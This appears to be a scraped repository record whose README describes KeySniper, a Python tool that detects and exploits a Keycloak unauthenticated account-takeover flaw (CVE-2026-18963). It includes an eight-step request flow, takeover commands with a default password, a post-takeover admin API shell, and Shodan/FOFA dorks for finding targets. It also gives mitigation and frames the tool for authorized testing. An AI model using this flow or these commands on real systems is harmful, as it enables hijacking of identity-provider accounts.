[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-96185":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":14,"subscribersCount":14,"size":14,"stars1d":14,"stars7d":14,"stars30d":15,"stars90d":14,"forks30d":14,"starsTrendScore":14,"compositeScore":16,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":17,"topics":20,"createdAt":9,"pushedAt":9,"updatedAt":21,"readmeContent":22,"aiSummary":23,"trendingCount":14,"starSnapshotCount":14,"syncStatus":24,"lastSyncTime":25,"discoverSource":26},96185,"KeySniper","ynsmroztas\u002FKeySniper","ynsmroztas","**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.",null,"Python",105,22,1,0,3,41.39,false,"main",true,[],"2026-09-20 04:01:32","# KeySniper\n\n![KeySniper](KeySniper.jpg)\n\n**Author:** Mitsec — [x.com\u002Fynsmroztas](https:\u002F\u002Fx.com\u002Fynsmroztas)\n\n**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.\n\nKeySniper is a production-oriented scanner for in-scope bug bounty and authorized assessments: live radar output, realm discovery, detect vs takeover, interactive post-ATO shell, and stdin pipeline (`subfinder` → `httpx` → `KeySniper`).\n\nDefault mode is **detect** (`--takeover 0`). `--takeover 1` changes the account password on the target.\n\n---\n\n## Vulnerability\n\n| Field | Value |\n|---|---|\n| CVE | CVE-2026-18963 |\n| CWE | CWE-640 — Weak Password Recovery Mechanism |\n| CVSS | 9.1 (`AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:N`) |\n| Product | Keycloak \u002F Red Hat SSO |\n| Fixed in | 26.7.2, 26.6.6, 26.4.15 |\n| Auth | None |\n\nTwo bugs are chained:\n\n1. `tryAnotherWay` stores a generic `\"true\"` selector note that is **not scoped** to the execution ID.\n2. `ResetCredentialEmail.action()` calls `context.success()` **without** verifying `ACTION_TOKEN_USER_ID`.\n\nResult: an unauthenticated caller can force the password-reset flow for a known username and land on `UPDATE_PASSWORD` without clicking the email link.\n\n### Confirm signal\n\nThe scan is **not** “forgot-password exists”. Confirm is:\n\n- selector form re-renders on the original reset URL\n- `execution=` UUID **changes** (email execution leaked)\n- response contains `kc-passwd-update-form`\n\n```\nexec3 = 28e2cd30-…   (first selector)\nexec6 = 8fd21174-…   (pivot GET)\n         UPDATE_PASSWORD\n```\n\n---\n\n## Features\n\n- Live `[radar]` log (Location, JS, headers, realm probe)\n- Realm discovery: `302 Location` + HTML\u002FJS + well-known + wordlist\n- `\u002Fauth` prefix auto-detect\n- Pipeline: stdin URLs from `httpx` \u002F `subfinder`\n- False-positive filter: Keycloak body required before realm brute\n- `--takeover 0` detect only\n- `--takeover 1` set password (default `SelaM1337@@`)\n- `--shell` interactive token \u002F admin API helper after ATO\n- Color badges: `VULN` \u002F `ATO` red, `SAFE` green, `SKIP` yellow\n\n---\n\n## Install\n\n```bash\npython3 -m venv .venv\nsource .venv\u002Fbin\u002Factivate\npip install requests\nchmod +x KeySniper.py\n```\n\nPython 3.9+.\n\n---\n\n## Usage\n\n```bash\n# detect (no password change)\npython3 KeySniper.py -u https:\u002F\u002Fsso.example.com --takeover 0\n\n# takeover + interactive shell\npython3 KeySniper.py -u https:\u002F\u002Fsso.example.com --takeover 1 --shell\n\n# realm \u002F user\npython3 KeySniper.py -u https:\u002F\u002Fsso.example.com -r master -U admin --takeover 0\n\n# pipeline\nsubfinder -d example.com -silent \\\n  | httpx -silent -mc 200,302,401 \\\n  | python3 KeySniper.py --takeover 0 -t 4\n\n# list file\npython3 KeySniper.py -l urls.txt --takeover 0 -q\n```\n\n### Flags\n\n| Flag | Default | Meaning |\n|---|---|---|\n| `-u URL` | — | Single target |\n| `-l FILE` | — | URL list |\n| stdin | auto | `httpx` lines (first field = URL) |\n| `--takeover 0\\|1` | `0` | Detect vs change password |\n| `-U USER` | `admin` | Target username |\n| `-r REALM` | `auto` | Force realm or discover |\n| `--pass` | `SelaM1337@@` | New password if takeover=1 |\n| `-t N` | `4` | Pipeline threads |\n| `-q` | off | Results only |\n| `--shell` | off | Post-ATO shell (single target) |\n\nDo **not** pass `--takeover 1` or `--shell` on a pipeline dump.\n\n---\n\n## Flow (8 steps)\n\n```\n[1] GET  \u002Frealms\u002F{realm}\u002Fprotocol\u002Fopenid-connect\u002Fauth?client_id=account\n         → forgot-password href (reset-credentials)\n[2] GET  reset-credentials\n         → kc-reset-password-form\n[3] POST tryAnotherWay=on\n         → kc-select-credential-form\n[4] POST username=\u003Cuser>\n[5] GET  startSessionPolling \u002F restart (if present)\n[6] GET  original reset-credentials URL  (pivot)\n         → selector re-render + new execution=\n[7] POST stale selector (no action token)\n         → kc-passwd-update-form\n[8] POST password-new \u002F password-confirm     (only if --takeover 1)\n         → HTTP 302 + code=  ⇒ ATO\n```\n\n---\n\n## Output\n\n```\n[VULN] https:\u002F\u002Fsso.example.com realm=master user=admin ver=26.7.1\n    confirm exec3=...\n    confirm exec6=...\n    confirm kc-passwd-update-form\n\n[ATO]  https:\u002F\u002Fsso.example.com realm=master user=admin pass=********\n[SAFE] https:\u002F\u002Fidp.example.com reset-open patched\n[SKIP] https:\u002F\u002Fwww.example.com not-keycloak\n```\n\n| Status | Meaning |\n|---|---|\n| `VULN` | Pivot + `UPDATE_PASSWORD` (password not changed) |\n| `ATO` | Step 8 succeeded |\n| `SAFE` | Reset open, no stale selector (patched) |\n| `SKIP` | Not Keycloak \u002F reset disabled \u002F leak without UPDATE form |\n| `FAIL` | Network \u002F unexpected exception |\n\n`leak-no-update` is **not** counted as VULN.\n\n---\n\n## Interactive shell\n\nOpens only after `[ATO]` on a single target:\n\n```\nsniper@sso.example.com ▶ token\nsniper@sso.example.com ▶ whoami\nsniper@sso.example.com ▶ realms\nsniper@sso.example.com ▶ users\nsniper@sso.example.com ▶ user admin\nsniper@sso.example.com ▶ get master\nsniper@sso.example.com ▶ creds\nsniper@sso.example.com ▶ exit\n```\n\nUses resource-owner password grant (`admin-cli`, then `account`).  \nHTTP 403 on `\u002Fadmin\u002Frealms` means Direct Access Grants \u002F admin role is limited — ATO can still be valid.\n\n---\n\n## Discovery\n\n1. Probe `\u002Frealms\u002Fmaster` then `\u002Fauth\u002Frealms\u002Fmaster`\n2. Harvest realms from `Location`, HTML, JS, `\"realm\":`, issuer\n3. Wordlist (~70 names) only after Keycloak fingerprint\n4. Keep realms where `\u002Frealms\u002F{name}` returns 200 + Keycloak body\n\n---\n\n## Fingerprints \u002F recon\n\n```\n\u002Frealms\u002Fmaster\n\u002Frealms\u002Fmaster\u002F.well-known\u002Fopenid-configuration\n\u002Fadmin\u002F\n```\n\nShodan \u002F FOFA (program scope):\n\n```text\nhttp.title:\"Sign in to\"\nhttp.html:\"\u002Frealms\u002Fmaster\"\nhttp.html:\"keycloak\"\nssl.cert.subject.CN:\"example.com\" http.html:\"\u002Frealms\u002F\"\n```\n\n```text\ntitle=\"Keycloak\" && host=\"example.com\"\ncert=\"example.com\" && body=\"\u002Frealms\u002Fmaster\"\n```\n\n---\n\n## False positives\n\n- Any 200 on `\u002F` is ignored unless the body has `issuer` \u002F `public_key` \u002F `login-actions`\n- Forgot-password missing → `SKIP` (realm has reset disabled)\n- Selector leak without `kc-passwd-update-form` → `SKIP`\n- `httpx` paths are stripped to origin (`\u002Fauth` kept)\n\n---\n\n## Affected versions\n\nKeycloak **\u003C 26.7.2** (also 26.6.x \u003C 26.6.6, 26.4.x \u003C 26.4.15).  \nMitigation: disable Forgot Password on every realm, then upgrade.\n\nScreenshot in this repo is redacted (`sso.lab.local` placeholder). Tokens, passwords, emails, and real hosts are not published.\n\n---\n\n## Author\n\n**Mitsec**  \nX: [x.com\u002Fynsmroztas](https:\u002F\u002Fx.com\u002Fynsmroztas)\n\n---\n\n## License\n\nResearch use on in-scope authorized targets. Keep `--takeover 1` off unscoped hosts.\n","KeySniper 是一款面向实战的 Keycloak 身份认证系统漏洞扫描工具，用于检测并利用 CVE-2026-18963（未授权账户接管漏洞）。其核心功能包括自动发现 Keycloak realm、实时响应分析、基于 reset-credentials 流程的漏洞确认与可选密码重置（--takeover 1），以及接管后的交互式 token\u002F管理 API 辅助 shell。项目采用 Python 编写，支持管道输入（如 subfinder → httpx → KeySniper），具备误报过滤、多线程和彩色状态标识等生产就绪特性。适用于授权渗透测试、红队评估及漏洞赏金项目中对 Keycloak 部署的安全验证场景。",2,"2026-09-11 02:30:13","CREATED_QUERY"]